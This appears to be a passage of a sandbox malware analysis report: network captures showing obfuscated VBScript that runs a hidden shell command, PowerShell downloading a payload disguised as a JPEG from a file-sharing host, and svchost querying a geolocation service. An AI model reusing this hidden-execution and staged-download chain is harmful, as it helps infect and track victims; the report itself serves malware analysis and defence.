2024-11-12 07:05:55 UTC	1369	IN	Data Raw: 2c 20 22 22 29 0d 0a 0d 0a 20 20 20 20 20 20 20 20 63 68 61 6d 62 72 61 6e 61 20 3d 20 63 68 61 6d 62 72 61 6e 61 20 26 20 4a 4a 62 6e 77 0d 0a 0d 0a 20 20 20 20 20 20 20 20 44 69 6d 20 73 68 65 6c 6c 6c 0d 0a 20 20 20 20 20 20 20 20 53 65 74 20 73 68 65 6c 6c 6c 20 3d 20 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 57 53 63 72 69 70 74 2e 53 68 65 6c 6c 22 29 0d 0a 20 20 20 20 20 20 20 20 73 68 65 6c 6c 6c 2e 52 75 6e 20 63 68 61 6d 62 72 61 6e 61 2c 20 30 2c 20 46 61 6c 73 65 20 0d 0a 20 20 20 20 20 20 20 20 57 53 63 72 69 70 74 2e 51 75 69 74 28 45 52 52 5f 47 45 4e 45 52 41 4c 5f 46 41 49 4c 55 52 45 29 0d 0a 45 6e 64 20 49 66 0d 0a 27 27 27 27 27 27 27 27 27 27 27 27 27 27 27 27 27 27 27 27 20 20 20 20 0d 0a 27 20 45 73 63 61 70 65 73 20 6e 6f 6e 20 58 Data Ascii: , "") chambrana = chambrana & JJbnw Dim shelll Set shelll = CreateObject("WScript.Shell") shelll.Run chambrana, 0, False WScript.Quit(ERR_GENERAL_FAILURE)End If'''''''''''''''''''' ' Escapes non X
2024-11-12 07:05:55 UTC	1369	IN	Data Raw: 67 20 26 20 4d 69 64 28 72 65 73 75 6c 74 53 74 72 69 6e 67 2c 20 49 6e 53 74 72 28 72 65 73 75 6c 74 53 74 72 69 6e 67 2c 20 66 69 6e 64 53 74 72 69 6e 67 29 20 2b 20 4c 65 6e 28 66 69 6e 64 53 74 72 69 6e 67 29 29 0d 0a 20 20 20 20 4c 6f 6f 70 0d 0a 20 20 20 20 0d 0a 20 20 20 20 43 75 73 74 6f 6d 52 65 70 6c 61 63 65 20 3d 20 72 65 73 75 6c 74 53 74 72 69 6e 67 0d 0a 45 6e 64 20 46 75 6e 63 74 69 6f 6e 0d 0a 70 72 69 76 61 74 65 20 73 75 62 20 41 53 53 45 52 54 45 52 52 28 6f 62 6a 2c 20 66 6f 72 6d 61 74 4f 70 74 69 6f 6e 29 0d 0a 20 20 20 20 64 69 6d 20 65 72 72 4e 6f 0d 0a 20 20 20 20 64 69 6d 20 65 72 72 44 65 73 63 0d 0a 20 20 20 20 64 69 6d 20 72 65 73 70 6f 6e 73 65 53 74 72 0d 0a 20 20 20 20 64 69 6d 20 66 6f 72 6d 61 74 74 65 64 53 74 72 0d 0a Data Ascii: g & Mid(resultString, InStr(resultString, findString) + Len(findString)) Loop CustomReplace = resultStringEnd Functionprivate sub ASSERTERR(obj, formatOption) dim errNo dim errDesc dim responseStr dim formattedStr
2024-11-12 07:05:55 UTC	1369	IN	Data Raw: 6c 6b 75 66 4c 4c 5a 6f 67 69 71 6e 4a 69 42 6d 64 70 69 48 55 64 49 6e 5a 57 6d 67 47 6f 57 5a 4c 57 4b 7a 6a 51 78 6b 65 75 63 6b 76 63 4c 72 52 63 65 4e 5a 62 50 6f 57 68 69 52 7a 20 3d 20 22 68 49 6b 70 6e 52 62 69 6f 70 48 42 4c 73 47 49 4c 68 4c 47 57 51 4c 74 4c 57 62 63 69 41 5a 70 6c 78 69 6b 66 57 53 6f 66 74 74 7a 6f 4c 69 6e 43 6d 72 70 68 64 51 68 67 57 75 64 42 55 70 4b 78 57 64 62 22 0d 0a 57 66 57 47 49 41 6b 6b 4c 4c 6f 64 69 49 51 65 78 6c 64 4c 64 6d 75 71 4b 70 6f 4c 65 42 6f 57 64 4f 55 6d 69 71 4c 4c 6b 62 65 57 55 51 6b 65 57 7a 6e 4b 57 48 73 75 47 50 62 68 6e 69 65 4c 57 70 4b 71 20 3d 20 22 68 57 68 7a 62 57 61 47 6b 4a 74 75 43 6b 57 6f 74 69 41 7a 57 50 5a 4b 5a 50 64 4b 74 4c 6e 52 4c 7a 4b 57 4c 55 55 63 47 71 57 71 70 72 61 Data Ascii: lkufLLZogiqnJiBmdpiHUdInZWmgGoWZLWKzjQxkeuckvcLrRceNZbPoWhiRz = "hIkpnRbiopHBLsGILhLGWQLtLWbciAZplxikfWSofttzoLinCmrphdQhgWudBUpKxWdb"WfWGIAkkLLodiIQexldLdmuqKpoLeBoWdOUmiqLLkbeWUQkeWznKWHsuGPbhnieLWpKq = "hWhzbWaGkJtuCkWotiAzWPZKZPdKtLnRLzKWLUUcGqWqpra
2024-11-12 07:05:55 UTC	1369	IN	Data Raw: 54 5a 75 52 6b 76 7a 66 62 73 57 4f 55 4c 41 4c 4c 69 74 57 6a 41 50 57 65 6f 6b 6f 75 47 72 78 62 55 6e 5a 69 43 4b 66 62 48 57 41 75 50 63 4e 65 63 62 43 57 78 4c 22 0d 0a 5a 7a 69 71 54 4c 41 6d 4b 4e 57 47 75 6a 65 47 76 71 57 7a 70 63 70 4c 5a 68 63 4c 70 68 57 55 48 71 47 7a 55 78 6e 62 7a 64 66 43 63 71 61 6d 43 4c 74 5a 4b 47 4b 52 6b 6d 57 76 54 6e 66 7a 71 47 4c 73 20 3d 20 22 62 68 72 57 6d 4c 6d 61 4e 6c 57 47 69 6d 66 4c 6e 4c 72 57 4c 51 41 4b 4c 55 47 6e 66 55 48 6c 49 49 65 4b 62 50 63 43 66 62 70 62 63 5a 7a 47 4c 6d 54 63 41 4b 6f 62 69 61 47 4c 64 69 7a 41 66 6b 68 4b 22 0d 0a 4e 6f 50 63 4c 6d 5a 6d 57 6a 4b 67 41 6b 47 55 69 7a 48 57 4e 75 48 76 63 6b 43 66 6a 57 57 41 6b 43 57 65 43 53 4e 4c 67 50 5a 6e 42 4c 78 4a 69 52 62 4c 55 5a Data Ascii: TZuRkvzfbsWOULALLitWjAPWeokouGrxbUnZiCKfbHWAuPcNecbCWxL"ZziqTLAmKNWGujeGvqWzpcpLZhcLphWUHqGzUxnbzdfCcqamCLtZKGKRkmWvTnfzqGLs = "bhrWmLmaNlWGimfLnLrWLQAKLUGnfUHlIIeKbPcCfbpbcZzGLmTcAKobiaGLdizAfkhK"NoPcLmZmWjKgAkGUizHWNuHvckCfjWWAkCWeCSNLgPZnBLxJiRbLUZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49702	142.215.209.78	443	3232	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:05:59 UTC	192	OUT	GET /api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f HTTP/1.1 Host: 1017.filemail.com Connection: Keep-Alive
2024-11-12 07:05:59 UTC	324	IN	HTTP/1.1 200 OK Content-Length: 2230233 Content-Type: image/jpeg Last-Modified: Thu, 07 Nov 2024 02:06:04 GMT Accept-Ranges: bytes ETag: 4bb5a8185f3b16880e3dcc573015c5d9 X-Transfer-ID: wxhdiueivoluihj Content-Disposition: attachment; filename=new_imagem.jpg Date: Tue, 12 Nov 2024 07:05:59 GMT Connection: close
2024-11-12 07:05:59 UTC	3719	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-11-12 07:05:59 UTC	8192	IN	Data Raw: 61 7e f8 15 fb 43 e2 b1 21 8f 43 e1 e4 33 83 40 a9 fc 38 be 83 ec b3 eb 60 6d 46 b6 66 59 18 fa 6b 9e 30 3f 67 bc 14 cd 33 4f a8 57 0c 87 81 ef f5 cf 61 0b 34 76 ad f8 41 ae 7b 60 29 e1 9e 14 9e 1b 03 44 8a 18 5e e0 cd d7 09 2a bb a5 d9 b5 27 d2 38 c7 84 88 c6 b7 ad fb 5e 55 d5 5d 48 2c 0f 5e 9c 60 26 fb 21 8a e4 53 67 8e 05 f5 18 ab 6b dd 26 69 4e a0 96 54 09 1a aa ed 53 c5 10 c0 e2 da e5 95 d9 96 33 b8 df 42 dc 0c ce 7d 3c c8 68 ee e3 93 5c 8c 0d 57 f0 ed 06 b3 42 16 48 4f de 1d bd 2a 83 75 12 78 1f 0e 2f 32 75 3f 66 5d 21 96 3d 2b ca ce 42 ee 5e 36 92 3a 83 df 8c 14 52 48 cd b0 3b 2b 86 e7 92 3f eb 8f e9 75 7a ed 38 2f 16 a1 57 aa 32 df 26 cf 4a 3c fd 70 32 bc 0e 0d 6e 8b c4 c3 b0 29 1c 7f f7 a3 77 55 cf af e9 7c 5a 49 f4 4a 16 25 68 f6 8d b2 15 14 bc Data Ascii: a~C!C3@8`mFfYk0?g3OWa4vA{`)D^'8^U]H,^`&!Sgk&iNTS3B}<h\WBHOux/2u?f]!=+B^6:RH;+?uz8/W2&J<p2n)wU\|ZIJ%h
2024-11-12 07:05:59 UTC	8192	IN	Data Raw: 48 c4 86 f7 3f 03 81 84 fa 49 e0 da e5 1a 3f 55 2f 3b 49 3e f9 b5 a5 d6 c3 06 88 41 24 c2 47 73 6c 0f aa 99 b2 de 37 36 f8 da 3f 21 88 46 07 7b 70 07 1d b1 0d 36 9d e2 58 b5 60 09 42 9f 52 8e 28 9e 07 ea 46 07 a9 56 b6 26 89 2b ec 78 e9 ed 92 5d 89 a2 68 66 46 97 c4 65 9b c4 8c 52 a8 89 69 86 c1 ef c7 5b 19 a3 a9 79 34 f0 86 8e 31 2b dd 6d 26 80 c0 30 00 59 20 57 b9 ca a9 de b6 18 b0 3d 3d b3 1d bc 4e 78 3c 18 cf 20 06 49 5b 6c 6b 5c 02 6e b9 f6 eb 87 9f 4d e2 6d 0f 99 0e b8 34 86 ed 55 56 af b8 07 03 40 09 37 72 48 f6 ac 29 91 c8 0c c0 0a 1c 57 7f 9e 23 e1 52 6a df 4b bf 56 de b2 68 02 a0 1f 6e d8 fb 80 c4 03 db 03 cc 78 9c 1a d8 b5 5a a7 d3 24 a2 19 54 bc ad b8 10 7d 26 f3 36 46 68 51 95 26 32 2b 9a 65 45 71 c0 e9 76 a0 7f 3c f5 fa d8 47 fb 2b 5a 47 4f Data Ascii: H?I?U/;I>A$Gsl76?!F{p6X`BR(FV&+x]hfFeRi[y41+m&0Y W==Nx< I[lk\nMm4UV@7rH)W#RjKVhnxZ$T}&6FhQ&2+eEqv<G+ZGO
2024-11-12 07:05:59 UTC	8192	IN	Data Raw: ed 2f 88 88 f6 45 ab 52 07 3b 55 10 1f 95 01 81 8f 16 87 4d 0e 94 ba a1 27 f8 49 6c 1c ba 57 8f 4c b2 06 50 4f 6a e7 3d 07 88 ec f1 7d 17 df e2 4f 2a 64 94 2e a1 11 4e d2 08 f4 b5 d7 16 45 57 be 63 ea 9b 73 04 e4 8a ae 2b fa e0 66 3a ee 86 c1 b3 d0 8c 17 dd 9b 63 28 16 18 5d 7b 67 a9 7d 3f d9 b5 50 ac be 2a 03 73 e9 f2 c5 f0 3a 58 ca eb 7c 13 4e da 13 af f0 2d 44 ba 88 a2 03 ef 10 cd ff 00 7b 15 8f c5 b6 85 8f 88 f6 3e c7 03 c9 26 9b ca 05 49 e0 0b bf 7c e9 62 67 88 5a 31 65 1c 10 3b 7b 66 ab 03 e4 aa 3a 2f 99 7d 72 8f a5 6d cc 19 d3 72 ae e2 09 23 8e bf 5c 0c 54 0c d1 0d d6 1b bd f7 c9 88 38 9c 39 27 6a 8e 95 9a 6f a0 91 e6 55 52 80 32 ee 00 df 35 ce 28 90 32 44 fa 80 c9 4a 69 97 75 92 a7 8f a6 04 8d 42 ba b8 60 19 4b 28 04 76 eb 83 25 ba a1 dc 2f 82 07 Data Ascii: /ER;UM'IlWLPOj=}Od.NEWcs+f:c(]{g}?Ps:X\|N-D{>&I\|bgZ1e;{f:/}rmr#\T89'joUR25(2DJiuB`K(v%/
2024-11-12 07:06:00 UTC	8192	IN	Data Raw: 96 61 55 f1 aa fa e7 2f 87 b4 70 69 75 b3 34 91 c8 8b 18 64 07 f0 f6 3f 21 57 66 f8 17 81 82 fa 79 74 f2 98 a5 55 dc bd 76 90 6b f2 ca 58 36 05 9f 7a c6 fe d5 7f d8 b5 71 49 a6 78 ff 00 7a a4 3a b2 d5 95 24 5f f6 f7 eb 98 71 78 ac 61 4d a3 2b 8f c4 07 f4 c0 da 5f 0c d6 16 8c 08 f6 87 1b 95 98 8a ae dd 31 f3 f6 69 59 43 99 cf 99 7d 42 8d a3 df 83 d7 07 e1 da 77 d4 e9 5f 53 2e 9d 67 59 11 4a 9d f7 b4 57 37 ec 40 24 fd 31 99 3c 5f 4f e0 9a 78 e0 d6 c8 5b 50 88 14 a2 7a 88 eb cb 0f e1 1d 39 c0 4a 7f 08 5d 1b 34 93 ce 86 28 dc 29 00 10 5b 8b ae 7d fe 18 b6 9b c3 9f 5e 9a 9d 4a 6d 8b 4e 84 aa 96 70 3e 9c 8e 78 cb 45 a5 d7 f8 ba ae a4 c2 eb 1a 90 11 59 7c bd ca 6c fa 41 e4 8f 8e 69 3f 86 cc 9e 01 26 95 c8 89 49 67 17 27 e1 02 8e da ae 7a 60 79 ef 1d d0 68 b4 40 Data Ascii: aU/piu4d?!WfytUvkX6zqIxz:$_qxaM+_1iYC}Bw_S.gYJW7@$1<_Ox[Pz9J]4()[}^JmNp>xEY\|lAi?&Ig'z`yh@
2024-11-12 07:06:00 UTC	8192	IN	Data Raw: 43 0b 61 59 98 da 15 15 fb c0 38 e6 f1 8d 26 91 11 8b b3 9a fe 1f 63 80 74 64 91 37 2a 31 53 d8 e2 ba c6 52 9b 08 b6 3d 3d 58 cc 69 be 06 f2 de 81 04 0f cf 11 8b 46 fe 6d 93 5b 79 2d ef 81 a5 f6 71 1a 1f 1f d1 2c 8b e9 3b bf f2 b6 7b 0d 7a c2 61 91 19 f6 a1 16 c5 78 bc f2 fe 19 a9 8e 0f 12 86 66 f5 05 0c 47 d5 48 fe b8 ef 89 78 82 6a 0e c8 d7 68 61 ef d7 03 2e 17 d6 24 ad 1e 92 56 10 5d ed eb 79 bb a4 90 e9 e0 65 d4 10 c4 7a ac 62 30 4f a7 d2 45 60 1d c4 75 cb 9d 6c 5a 85 01 68 0e 87 8e 4e 06 79 95 df ed 67 9d 1a f4 e0 9f f8 30 7e 2d 3b 3e aa 75 2d 41 a0 5b 00 5d d3 dd 65 d6 45 4f b5 22 98 14 ab 3f f2 11 fd 71 7f 16 dc 75 92 b0 1b 6e 1b 00 71 63 76 06 87 8c 05 fb 94 70 84 11 c4 b2 52 92 a7 9f 4b 61 b4 33 28 f0 b8 5a 45 5a 54 5a bf 82 8c 17 8b cb 14 9a 2d Data Ascii: CaY8&ctd7*1SR==XiFm[y-q,;{zaxfGHxjha.$V]yezb0OE`ulZhNyg0~-;>u-A[]eEO"?qunqcvpRKa3(ZEZTZ-
2024-11-12 07:06:00 UTC	8192	IN	Data Raw: 19 af a4 d1 ea 16 49 b5 12 6a 44 ac c4 b8 8c 9b 51 c9 ae 48 be d8 07 99 03 c5 2c 2c 68 32 b2 80 bd 79 07 90 6b ae 79 33 1c 53 b2 c8 4c 8a 1b cc de 18 ee 62 55 77 11 74 3a dd 7d 33 77 53 17 8c 3c 12 39 9b 4c bb 48 65 11 b1 05 76 8e 40 f4 f5 26 b3 cb 34 f3 12 0b 3b 5a b9 63 b8 72 59 b8 63 fa 60 13 50 90 23 40 c8 1f 64 8b b8 ef a1 43 73 0a e9 f0 c7 a0 4d 34 9a a8 24 57 68 43 cc c5 d8 90 ca 08 a2 a0 71 fe 6a cc b9 67 69 84 4b 56 51 4a dd f5 f5 16 fc b9 c3 27 88 49 1e 96 18 10 22 94 76 70 db 41 3c 80 39 e3 e1 81 ec 25 89 51 88 25 9a c5 9e 7e 3f 0e d8 34 28 cf b1 08 06 ae 8e 60 cf a4 f1 2d 44 c7 51 26 a2 17 62 80 1e eb 5e d5 55 91 1e 87 5e ae 5a 3d 6c 6a d5 43 6c 8c bc 7c 28 60 7a 38 f4 a1 98 ab 50 e0 ff 00 2c 34 2a 11 42 ec b2 78 bc f3 32 41 e2 ea ca 0e b9 89 Data Ascii: IjDQH,,h2yky3SLbUwt:}3wS<9LHev@&4;ZcrYc`P#@dCsM4$WhCqjgiKVQJ'I"vpA<9%Q%~?4(`-DQ&b^U^Z=ljCl\|(`z8P,4*Bx2A
2024-11-12 07:06:00 UTC	8192	IN	Data Raw: 54 55 fa 81 37 96 d4 eb 24 fb c1 78 55 49 3a 76 91 9a 39 03 2e d1 63 93 b6 cf 4f 7c 1a 78 8c 8e 93 07 11 b4 b6 82 30 a4 21 90 30 a0 28 f7 e9 80 6f 1b d4 79 30 ed 54 57 f3 55 94 d8 ed 5d 6e fd f3 e7 9e 35 2b a0 11 59 a2 4f 4e fd 33 e8 5e 27 a6 33 69 c1 44 11 88 a3 67 63 cd 80 aa 68 7b 77 39 f3 8f 15 7f 32 73 62 88 ed f9 60 0f 4b aa 68 b4 b2 69 e4 41 24 4e 37 15 2c 46 d3 c1 bb 1f 2c e8 f5 12 69 22 91 12 32 93 b7 57 37 61 6a f8 07 a6 2a 80 b1 f5 38 8f 8e 2e e8 fe 58 de aa 36 32 09 02 12 bb 23 1b d8 1a bd 8b c7 23 01 ad 0e bd 34 7a 59 10 ab 19 0b 31 0e 2a 88 2b 54 7b f5 e7 15 82 59 20 25 e3 62 ac c2 8d 7b 5d e5 5f 4d 22 2a 99 11 95 5b d4 a4 ad 6e cb 32 88 c2 72 ad b8 5d 2f ce bf a6 01 d2 67 5d 5c 33 4c ec fb 1d 5b fe 10 7a 64 eb e6 4d 56 aa 49 93 76 d6 0a 40 Data Ascii: TU7$xUI:v9.cO\|x0!0(oy0TWU]n5+YON3^'3iDgch{w92sb`KhiA$N7,F,i"2W7aj8.X62##4zY1+T{Y %b{]_M"*[n2r]/g]\3L[zdMVIv@
2024-11-12 07:06:00 UTC	8192	IN	Data Raw: 8a 28 34 df 1a c0 45 e1 b7 02 c9 07 b9 c3 1f 0f 55 50 c5 e8 9e 98 63 a6 90 96 21 49 0b f8 98 0e 07 d7 2a 60 63 c9 fa 60 5f c3 34 4c 35 8a e4 f0 2f 68 f7 e0 e6 d1 de aa ca 52 ef a1 f6 c5 bc 31 37 6b 34 b6 3f c4 2f fe 1c df 68 d2 e8 d1 c0 c5 8b 4e d4 c5 c5 83 db 10 13 3b 4e ea 84 2a a9 f6 eb 9e 8d c0 5b 00 0e 73 3d b4 a9 6c c1 28 9e b8 1e 76 75 0d e2 e5 b6 02 09 5a 07 e4 32 ba dd 2e c9 03 06 e5 95 8f ab b5 01 8e 6a 60 d9 e2 d4 05 fe 1f e4 32 de 21 18 06 2d e2 ed 5a 8f c6 b8 c0 46 70 cd e1 f1 a2 90 17 68 35 c7 aa ab af e7 8c 78 06 9d 5d e5 76 65 34 bb 76 b7 43 95 78 83 78 7b 12 a3 d2 c0 29 06 b9 a5 07 fa e1 7c 28 c3 19 65 76 2b 29 61 b6 81 37 7c 7f 5c 04 bc 41 25 87 5d 16 f4 8c 32 a8 2a b1 72 28 31 f7 cd 3d 64 03 69 76 92 71 bb d3 b4 30 0a 38 ef c6 27 e2 ab Data Ascii: (4EUPc!I`c`_4L5/hR17k4?/hN;N[s=l(vuZ2.j`2!-ZFph5x]ve4vCxx{)\|(ev+)a7\|\A%]2*r(1=divq08'
2024-11-12 07:06:00 UTC	8192	IN	Data Raw: a8 5d c5 95 94 5f 03 76 e0 4f f2 ff 00 87 3a 10 95 24 93 ac 85 59 58 23 21 00 06 1c 8e 3d ac 8f cf 15 77 2e cc cc 6c 93 66 85 5e 05 c6 dd a4 ee 50 2d 7d fd 8e 18 6a 21 54 e0 7f 19 3b 41 20 d5 11 d7 eb 89 76 eb 91 58 0d 3c 81 82 aa 05 04 6e e9 7d 08 f8 e1 a0 96 34 68 dc 95 b0 56 e8 10 78 20 f2 3a 11 43 b7 38 87 d7 0b 02 87 99 11 88 00 b0 04 93 54 30 1d d4 4f 13 ce cc 0a 12 5c 37 01 8d ed be 0d fb fc 30 0d 2a f9 d1 48 68 81 b4 ba 8b ea 38 3f 98 17 f5 c0 48 8c 8c ca c2 98 1a 3c df c7 05 58 1a 49 3c 40 20 b5 4a 0e 4e c0 c7 aa d0 06 fb df d3 20 48 8f 13 2f 99 c2 c5 44 80 7a 97 07 8b e7 11 50 b7 c9 20 51 e9 90 7a 57 eb 80 db ca ad 1b ad d9 2c 9d 01 e4 05 20 9f ce b0 53 32 bd b2 b5 92 ec 7e 9c 56 2f 59 74 0c cc 15 41 26 fa 60 3b 29 54 12 13 20 2c d0 a2 80 a0 fb Data Ascii: ]_vO:$YX#!=w.lf^P-}j!T;A vX<n}4hVx :C8T0O\70*Hh8?H<XI<@ JN H/DzP QzW, S2~V/YtA&`;)T ,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49828	188.114.97.3	443	7440	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:06:26 UTC	87	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-12 07:06:26 UTC	850	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:06:26 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 16409 Last-Modified: Tue, 12 Nov 2024 02:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oIb9FAJlXueYMOzaJWzzk9yBWCCJq2UiDcMvHmUbW4oXFvynq0y1R%2FaPnzsIg1YS2AtU4pDcUQoE0z%2Fen5418l3FA3KTZO3J2hbE9WI1s6a3dptN%2B520p02rkGECeaaGIpdBF7XW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e14adebaa574782-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1137&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=701&delivery_rate=2485836&cwnd=242&unsent_bytes=0&cid=6ad293e25abf87a6&ts=251&x=0"
2024-11-12 07:06:26 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49834	188.114.97.3	443	7440	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:06:27 UTC	63	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-12 07:06:27 UTC	854	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:06:27 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 16410 Last-Modified: Tue, 12 Nov 2024 02:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7KahioBIlIh%2Br54b%2BIlOosdjb5hPliHFGEQfJXdU7ETMqdDJysQhMxsvcQIyf5oKkNNH8GUMh75k0EazwO447dsu3AFwFUS0%2FlKqlJ2ZWXh1hrd7MEV5O5VwiwAbrBCrXAq%2FPBy%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e14adf27d366c58-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1724&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=1643586&cwnd=106&unsent_bytes=0&cid=d1cc53e981b05eeb&ts=155&x=0"
2024-11-12 07:06:27 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49846	188.114.97.3	443	7440	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:06:29 UTC	87	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-12 07:06:29 UTC	850	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:06:29 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 16412 Last-Modified: Tue, 12 Nov 2024 02:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KgVPOP5v8kOI55ZwhvxuWskYfBsNDNGDbvZ8FlDwxHRbGqe67r4yM0gx6kKo2xQIC8GO%2Br4WeIu4tvyteR5uTAOaQ4ddmRFqV8W%2FT1CRmyFhMO4I%2Fke4jUi5847G7aiLqaWAules"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e14adfe18c33455-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1178&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=701&delivery_rate=2411323&cwnd=238&unsent_bytes=0&cid=84cf330fe1d7f3ef&ts=340&x=0"
